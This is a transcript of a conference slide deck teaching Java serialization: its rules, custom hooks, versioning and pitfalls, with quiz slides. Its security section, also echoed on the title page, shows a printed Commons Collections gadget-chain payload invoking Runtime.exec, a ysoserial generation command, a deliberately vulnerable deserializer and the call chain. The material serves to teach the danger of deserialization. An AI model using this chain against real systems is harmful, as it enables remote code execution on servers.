Java Serialization Deep Dive

78
org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransfo rmerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons. collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.func tors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.l ang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTrans former...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/Strin g;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t ..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..jav a.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr ..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp. ...t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lan g.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransfo rmerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons. collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.func tors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.l ang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTrans former...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/Strin g;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t ..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..jav a.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr ..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp. Java Serialization Deep Dive Martijn Dashorst topicus

Transcript of Java Serialization Deep Dive

Page 1: Java Serialization Deep Dive

org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp.

Java Serialization Deep DiveMartijn Dashorst topicus

Page 2: Java Serialization Deep Dive

Agenda

1. What is (Java) Serialization?

2. How does Java Serialization work?

3. Common Pitfalls of Serialization

4. Summary

Page 3: Java Serialization Deep Dive

MartijnDashorst

topicus

Page 4: Java Serialization Deep Dive

Primary Education

Student Information System

5k schools in NL

1M students

15k concurrent users

ParnasSys

Page 5: Java Serialization Deep Dive

Java+HTML

Server-side

Component Oriented

Web Framework for Applications

Stateful

Built with Apache Wicket

Page 6: Java Serialization Deep Dive

What is Java Serialization?

part 1

Page 7: Java Serialization Deep Dive

serialization | sɪərɪəlʌɪˈzeɪʃ(ə)n | noun

AC ED 00 05 73 72 00 1B 64 65 65 70 64 69 76 65

serialization deserialization

java objects

java objects

Page 8: Java Serialization Deep Dive

Storage of objects

Copying data

Caching of data

HTTP sessions

Transmitting data/objects across network

Why Serialization?

Page 9: Java Serialization Deep Dive

Default Java Serialization

Custom Java Serialization

Versioning

Serialization in a nutshellpart 2

How Does Java Serialization Work?

part 2

Security

Page 10: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

Page 11: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

Foo foo = new Foo();

Page 12: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

Foo foo = new Foo();

FileOutputStream fos = new FileOutputStream("foo.ser");

Page 13: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

Foo foo = new Foo();

FileOutputStream fos = new FileOutputStream("foo.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);

Page 14: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

Foo foo = new Foo();

FileOutputStream fos = new FileOutputStream("foo.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.write(foo);

Page 15: Java Serialization Deep Dive

Java Serialization in a nutshell

Written: 24 bytes 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 AC ED 00 05 73 72 00 03 46 6F 6F 00 00 00 00 00 | ····sr··Foo····· | 2 00 00 01 02 00 00 78 70 | ······xp |

Page 16: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

FileInputStream fis = new FileInputStream("foo.ser");

Page 17: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);

Page 18: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);Object object = ois.readObject();

Page 19: Java Serialization Deep Dive

Java Serialization in a nutshell

class Foo implements Serializable {}

FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);Foo foo = (Foo) ois.readObject();

Page 20: Java Serialization Deep Dive

Default Java Serialization

Custom Java Serialization

Versioning

Serialization in a nutshellpart 2

How Does Java Serialization Work?

part 2

Security

Page 21: Java Serialization Deep Dive

Rules of Default Serialization

1. Implement java.io.Serializable

2. Identify (non-)serializable fields

3. Have access to no-args constructor of first non-serializable superclass

class Foo implements Serializable { private int count; private String name; private Thread thread;}

Page 22: Java Serialization Deep Dive

class Foo implements Serializable { int f;}

class Bar extends Foo { int b;}

Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;

ObjectOutputStream oos = new ...oos.write(bar1);

ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();

Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456

Page 23: Java Serialization Deep Dive

class Foo implements Serializable { int f;}

class Bar extends Foo { int b;}

Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456

Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;

ObjectOutputStream oos = new ...oos.write(bar1);

ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();

Page 24: Java Serialization Deep Dive

class Foo { int f;}

class Bar extends Foo implements Serializable { int b;}

Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;

ObjectOutputStream oos = new ...oos.write(bar1);

ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();

Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456

Page 25: Java Serialization Deep Dive

class Foo { int f;}

class Bar extends Foo implements Serializable { int b;}

Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456

Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;

ObjectOutputStream oos = new ...oos.write(bar1);

ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();

Page 26: Java Serialization Deep Dive

Rules of Default Serialization

1. Implement java.io.Serializable

2. Identify (non-)serializable fields

3. Have access to no-args constructor of first non-serializable superclass

class Foo implements Serializable { private int count; private String name; private Thread thread;}

Page 27: Java Serialization Deep Dive

2. Identify (non-)serializable fields

• primitive fields

• String, Float, Double, ...

• anything implementing Serializable or Externalizable

• static fields

• fields of enum types

• local (physical) resources connections, threads, file handles

Serializable Not Serializable

Page 28: Java Serialization Deep Dive

2. Identify (non-)serializable fields

class Foo implements Serializable { private int count; private String name; private transient Thread thread;}

Use transient keyword to mark fields not-serializable

Page 29: Java Serialization Deep Dive

2. Identify (non-)serializable fields

class Foo implements Serializable { private transient int count = 1234; private String name; private transient Thread thread;}

ObjectInputStream ois = ...Foo foo = (Foo) ois.readObject();

assert foo.thread == null;assert foo.count == 0;

Use transient keyword to mark fields non-serializable

Upon de-serialization non-serializable fields are given a default value: 0, false, null

Page 30: Java Serialization Deep Dive

2. Identify (non-)serializable fields

class UsingSerialPersistentFields implements Serializable { private int f = 123; private int g = 456;

private static final ObjectStreamField[] serialPersistentFields = { new ObjectStreamField( "f", Integer.TYPE) };}

Use serialPersistentFields to mark fields that are to be serialized

Overrides transient keyword

Must be private static final

Page 31: Java Serialization Deep Dive

Rules of Default Serialization

1. Implement java.io.Serializable

2. Identify (non-)serializable fields

3. Have access to no-args constructor of first non-serializable superclass

class Foo { Foo() { }}

class Bar extends Foo implements Serializable {}

👍

Page 32: Java Serialization Deep Dive

Rules of Default Serialization

1. Implement java.io.Serializable

2. Identify (non-)serializable fields

3. Have access to no-args constructor of first non-serializable superclass

class Foo { Foo(int f) { }}

class Bar extends Foo implements Serializable {}

🚫

Page 33: Java Serialization Deep Dive

3. Have access to no-args constructor of first non-serializable super classclass Bar1 {Bar1(int b) { }

}

class Bar2 extends Bar1 implements Serializable {

Bar2() {super(1);

}}

Which are true? Serialization of bar2 succeeds Serialization of bar2 fails with NotSerializableException Deserialization of b2 succeeds Deserialization of b2 fails with InvalidClassException

Bar2 bar2 = new Bar2();oos.writeObject(bar2);

Bar2 b2 = (Bar2) ois.readObject();

Page 34: Java Serialization Deep Dive

3. Have access to no-args constructor of first non-serializable super classclass Bar1 {Bar1(int b) { }

}

class Bar2 extends Bar1 implements Serializable {

Bar2() {super(1);

}}

Which are true? Serialization of bar2 succeeds Serialization of bar2 fails with NotSerializableException Deserialization of b2 succeeds Deserialization of b2 fails with InvalidClassException

Bar2 bar2 = new Bar2();oos.writeObject(bar2);

Bar2 b2 = (Bar2) ois.readObject();

Page 35: Java Serialization Deep Dive

Steps of Default Serialization

class Foo implements Serializable {}

ObjectOutputStream::writeObject(Object o)

Page 36: Java Serialization Deep Dive

Steps of Default Serialization

1. Object replacement = o.writeReplace(); class Foo implements Serializable { private Object writeReplace() { return this; }}

ObjectOutputStream::writeObject(Object o)

Page 37: Java Serialization Deep Dive

Steps of Default Serialization

1. Object replacement = o.writeReplace();

2. replacement.writeObject(oos);

class Foo implements Serializable { private Object writeReplace() { return this; }

private void writeObject( ObjectOutputStream out) { out.writeDefault(); }}

ObjectOutputStream::writeObject(Object o)

Page 38: Java Serialization Deep Dive

Steps of Default Deserialization

class Foo implements Serializable {}

ObjectInputStream::readObject()

Page 39: Java Serialization Deep Dive

Steps of Default Deserialization

1. Object read = «newFoo»; class Foo implements Serializable {}

ObjectInputStream::readObject()

Page 40: Java Serialization Deep Dive

Steps of Default Deserialization

1. Object read = «newFoo»;

2. read.readObject()

class Foo implements Serializable { private void readObject( ObjectInputStream in) { in.defaultReadObject(); }}

ObjectInputStream::readObject()

Page 41: Java Serialization Deep Dive

Steps of Default Deserialization

1. Object read = «newFoo»;

2. read.readObject()

3. result = read.readResolve()

class Foo implements Serializable { private void readObject(...) { }

private Object readResolve() { return this; }}

ObjectInputStream::readObject()

Page 42: Java Serialization Deep Dive

Steps of Default Deserialization

1. Object read = «newFoo»;

2. read.readObject()

3. result = read.readResolve()

4. result.validateObject()

class Foo implements Serializable, ObjectInputValidation { private void readObject(...) {} private Object readResolve() {}

private void validateObject() { }}

ObjectInputStream::readObject()

Page 43: Java Serialization Deep Dive

Steps of Default Deserialization

1. Object read = «newFoo»;

2. read.readObject()

3. result = read.readResolve()

4. result.validateObject()

5. return result

class Foo implements Serializable { private void readObject(...) {} private Object readResolve() {} private void validateObject() {}}

ObjectInputStream::readObject()

Page 44: Java Serialization Deep Dive

Default Java Serialization

Custom Java Serialization

Versioning

Serialization in a nutshellpart 2

How Does Java Serialization Work?

part 2

Security

Page 45: Java Serialization Deep Dive

Using writeReplace for Placeholders

class NotActuallySerializable implements Serializable { private Object writeReplace() { return new Placeholder(someValue); } public static NotActuallySerializable of(String value) { return ...; }}

class Placeholder implements Serializable { private String value; private Object readResolve() { return NotActuallySerializable.of(value); }}

Page 46: Java Serialization Deep Dive

Using readResolve for Singletons

final class Serialization { public static final Serialization YAY = new JavaEE("Yay"); public static final Serialization NAY = new JavaEE("Nay");

private final String value;

private Serialization(String v) { this.value = v; } private Object readResolve() { if(value.equals("Yay")) return YAY; else return NAY; }}

Page 47: Java Serialization Deep Dive

class Foo implements Serializable { static final Foo foo = new Foo();

private Object writeReplace() { return "Hello!"; } private Object readResolve() { return foo; }}

oos.writeObject(Foo.foo);Foo f1 = (Foo) ois.readObject();

readResolve/writeReplace

Which is true? f1.equals("Hello!") f1 == Foo.foo f1 != Foo.foo Exception is thrown

Page 48: Java Serialization Deep Dive

class Foo implements Serializable { static final Foo foo = new Foo();

private Object writeReplace() { return "Hello!"; } private Object readResolve() { return foo; }}

oos.writeObject(Foo.foo);Foo f1 = (Foo) ois.readObject();

readResolve/writeReplace

Which is true? f1.equals("Hello!") f1 == Foo.foo f1 != Foo.foo Exception is thrown

Page 49: Java Serialization Deep Dive

class Foo implements Serializable { private Object readResolve() { return "Hello!"; }}class Bar extends Foo {}

oos.writeObject(new Bar());Object o = ois.readObject();

readResolve/writeReplace

Which are true? o.equals("Hello!") o instanceof String o instanceof Bar Exception is thrown

Page 50: Java Serialization Deep Dive

class Foo implements Serializable { private Object readResolve() { return "Hello!"; }}class Bar extends Foo {}

oos.writeObject(new Bar());Object o = ois.readObject();

readResolve/writeReplace

Which are true? o.equals("Hello!") o instanceof String o instanceof Bar Exception is thrown

Page 51: Java Serialization Deep Dive

class CustomValues implements Serializable { private void writeObject(ObjectOutputStream oos) throws IOException {

oos.defaultWriteObject();

// write custom data }

writeObject

Page 52: Java Serialization Deep Dive

class CustomValues implements Serializable { private void writeObject(ObjectOutputStream oos) throws IOException {

oos.defaultWriteObject();

// write custom data }

private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {

ois.defaultReadObject();

// read custom data // initialize transient fields }}

readObject

writeObject

Page 53: Java Serialization Deep Dive

Externalizablepublic interface Externalizable extends Serializable { void writeExternal(ObjectOutput out) throws IOException; void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;}

Must implement java.io.Externalizable

Must have public no-args constructor

Implement both writeExternal() and readExternal()

Page 54: Java Serialization Deep Dive

ObjectInputValidationpublic interface ObjectInputValidation { public void validateObject() throws InvalidObjectException;}

Allows the complete deserialized object graph to be validated before returning

Should register with ObjectInputStream (in readObject):

ois.registerValidation(this, 0);

Performed after readResolve()

Page 55: Java Serialization Deep Dive

Default Java Serialization

Custom Java Serialization

Versioning

Serialization in a nutshellpart 2

How Does Java Serialization Work?

part 2

Security

Page 56: Java Serialization Deep Dive

class Foobar implements Serializable { private static final long serialVersionUID = 1L;}

It is strongly recommended that all serializable classes explicitly declare serialVersionUID values, since the default serialVersionUID computation is highly sensitive to class details that may vary depending on compiler implementations, and can thus result in unexpected serialVersionUID conflicts during deserialization, causing deserialization to fail.

Always provide serialVersionUID

Page 57: Java Serialization Deep Dive

It is strongly recommended that all serializable classes explicitly declare serialVersionUID values, since the default serialVersionUID computation is highly sensitive to class details that may vary depending on compiler implementations, and can thus result in unexpected serialVersionUID conflicts during deserialization, causing deserialization to fail.

Always provide serialVersionUID

class Foobar implements Serializable { private static final long serialVersionUID = 1L;}

required!!!

Page 58: Java Serialization Deep Dive

Deleting fields

Can't go from Serializable → Externalizable

Move classes up/down hierarchy

Serializable field → Non-serializable field (static/transient)

primitive field type change

Class → Enum or Enum → Class

Remove Serializable/Externalizable

Adding fields

Adding classes

Removing classes

Adding write/readObject

Adding Serializable

Changing access modifiers for fields

Non-Serializable field → serializable field

Incompatible changes Compatible changes

Change serialVersionUID Don't Change serialVersionUID

Page 59: Java Serialization Deep Dive

Default Java Serialization

Custom Java Serialization

Versioning

Serialization in a nutshellpart 2

How Does Java Serialization Work?

part 2

Security

Page 60: Java Serialization Deep Dive

0000160: 6d65 723b 7870 7372 003a 6f72 672e 6170 mer;xpsr.:org.ap 0000170: 6163 6865 2e63 6f6d 6d6f 6e73 2e63 6f6c ache.commons.col 0000180: 6c65 6374 696f 6e73 2e66 756e 6374 6f72 lections.functor 0000190: 732e 4368 6169 6e65 6454 7261 6e73 666f s.ChainedTransfo 00001a0: 726d 6572 30c7 97ec 287a 9704 0200 015b rmer0...(z.....[ 00001b0: 000d 6954 7261 6e73 666f 726d 6572 7374 ..iTransformerst 00001c0: 002d 5b4c 6f72 672f 6170 6163 6865 2f63 .-[Lorg/apache/c 00001d0: 6f6d 6d6f 6e73 2f63 6f6c 6c65 6374 696f ommons/collectio 00001e0: 6e73 2f54 7261 6e73 666f 726d 6572 3b78 ns/Transformer;x 00001f0: 7075 7200 2d5b 4c6f 7267 2e61 7061 6368 pur.-[Lorg.apach 0000200: 652e 636f 6d6d 6f6e 732e 636f 6c6c 6563 e.commons.collec 0000210: 7469 6f6e 732e 5472 616e 7366 6f72 6d65 tions.Transforme 0000220: 723b bd56 2af1 d834 1899 0200 0078 7000 r;.V*..4.....xp. 0000230: 0000 0573 7200 3b6f 7267 2e61 7061 6368 ...sr.;org.apach 0000240: 652e 636f 6d6d 6f6e 732e 636f 6c6c 6563 e.commons.collec 0000250: 7469 6f6e 732e 6675 6e63 746f 7273 2e43 tions.functors.C 0000260: 6f6e 7374 616e 7454 7261 6e73 666f 726d onstantTransform 0000270: 6572 5876 9011 4102 b194 0200 014c 0009 erXv..A......L.. 0000280: 6943 6f6e 7374 616e 7474 0012 4c6a 6176 iConstantt..Ljav 0000290: 612f 6c61 6e67 2f4f 626a 6563 743b 7870 a/lang/Object;xp 00002a0: 7672 0011 6a61 7661 2e6c 616e 672e 5275 vr..java.lang.Ru 00002b0: 6e74 696d 6500 0000 0000 0000 0000 0000 ntime........... 00002c0: 7870 7372 003a 6f72 672e 6170 6163 6865 xpsr.:org.apache 00002d0: 2e63 6f6d 6d6f 6e73 2e63 6f6c 6c65 6374 .commons.collect 00002e0: 696f 6e73 2e66 756e 6374 6f72 732e 496e ions.functors.In 00002f0: 766f 6b65 7254 7261 6e73 666f 726d 6572 vokerTransformer 0000300: 87e8 ff6b 7b7c ce38 0200 035b 0005 6941 ...k{|.8...[..iA 0000310: 7267 7374 0013 5b4c 6a61 7661 2f6c 616e rgst..[Ljava/lan

Serialized data is readable

Page 61: Java Serialization Deep Dive

org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~

Don't trust serialized data

Page 62: Java Serialization Deep Dive

public class Main { public static void main(String[] args) throws Exception { File file = new File(args[0]); try ( FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis);) { while (ois.available() >= 0) ois.readObject(); } }}

Page 63: Java Serialization Deep Dive

$ java -jar ysoserial.jar CommonsCollections1 "Calc.exe" > gadget.ser

public class Main { public static void main(String[] args) throws Exception { File file = new File("gadget.ser") try ( FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis);) { while (ois.available() >= 0) ois.readObject(); } }}

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>

java Main gadget.ser

Page 64: Java Serialization Deep Dive
Page 65: Java Serialization Deep Dive

deserialization gadget chain

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()

InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()

InvokerTransformer.transform()Method.invoke()Runtime.exec()

org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~

Y so seriAL

Page 66: Java Serialization Deep Dive

org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~

Don't trust serialized data

Y so seriAL

https://github.com/frohoff/ysoserial

Page 67: Java Serialization Deep Dive

Inner/nested classes

CDI/Spring/Singletonspart 2

Common Pitfalls of Java Serialization

part 3

Page 68: Java Serialization Deep Dive

ApplicationScoped Spring beans

Singletons Services

@ApplicationScopedclass FooService { void foo() {}}

class Bar implements Serializable { @Inject private FooService fooService;

void doSomething() { fooService.foo(); }}

Page 69: Java Serialization Deep Dive

ApplicationScoped Spring beans

Singletons Services

@ApplicationScopedclass FooService { void foo() {}}

class Bar implements Serializable { @Inject private FooService fooService;

void doSomething() { fooService.foo(); }}

• Serializes too much (possibly whole service layer)

• Deserializes to non-managed services

• Deserialization gives multiple instances of one service

Page 70: Java Serialization Deep Dive

ApplicationScoped Spring beans

Singletons Services

@ApplicationScopedclass FooService { void foo() {}}

class Bar implements Serializable { @Inject private FooService fooService;

void doSomething() { fooService.foo(); }}

• Use a serializable proxy that looks up service (CDI)

• Use readResolve/writeReplace for custom serialization/deserialization

• CDI @Singleton injection *doesn't* inject a serializable proxy, but the instance directly

Page 71: Java Serialization Deep Dive

Inner/nested classes

CDI/Spring/Singletonspart 2

Common Pitfalls of Java Serialization

part 3

Page 72: Java Serialization Deep Dive

Inner/Nested classes

class FooService { class Bar implements Serializable {}

public Bar getBar() { return new Bar(); }}

ObjectOutputStream oos = ...;FooService service = ...;

Bar bar = service.getBar();oos.writeObject(bar);

Which is true?

gives compilation error at one of last two lines

bar gets serialized

Exception is thrown

Page 73: Java Serialization Deep Dive

Inner/Nested classes

class FooService { class Bar implements Serializable {}

public Bar getBar() { return new Bar(); }}

ObjectOutputStream oos = ...;FooService service = ...;

Bar bar = service.getBar();oos.writeObject(bar);

Which is true?

gives compilation error at one of last two lines

bar gets serialized

Exception is thrown

Page 74: Java Serialization Deep Dive

Inner/Nested classes

class FooService { class Bar implements Serializable {}

public Bar getBar() { return new Bar(); }}

ObjectOutputStream oos = ...;FooService service = ...;

Bar bar = service.getBar();oos.writeObject(bar);

Not serializable

requires a Foo instance

Page 75: Java Serialization Deep Dive

Agenda

1. What is (Java) Serialization?

2. How does Java Serialization work?

3. Common Pitfalls of Serialization

4. Summary

Page 76: Java Serialization Deep Dive

Summary

• Versatile

• Flexible

• Complete

• Complex

Java serialization is

• InsecureJava deserialization is

Page 77: Java Serialization Deep Dive

performance considerations

java

XML/JAXB

source, 27-10-2016: https://github.com/eishay/jvm-serializers/wiki

Page 78: Java Serialization Deep Dive

size considerations

java

XML/JAXB

source, 27-10-2016: https://github.com/eishay/jvm-serializers/wiki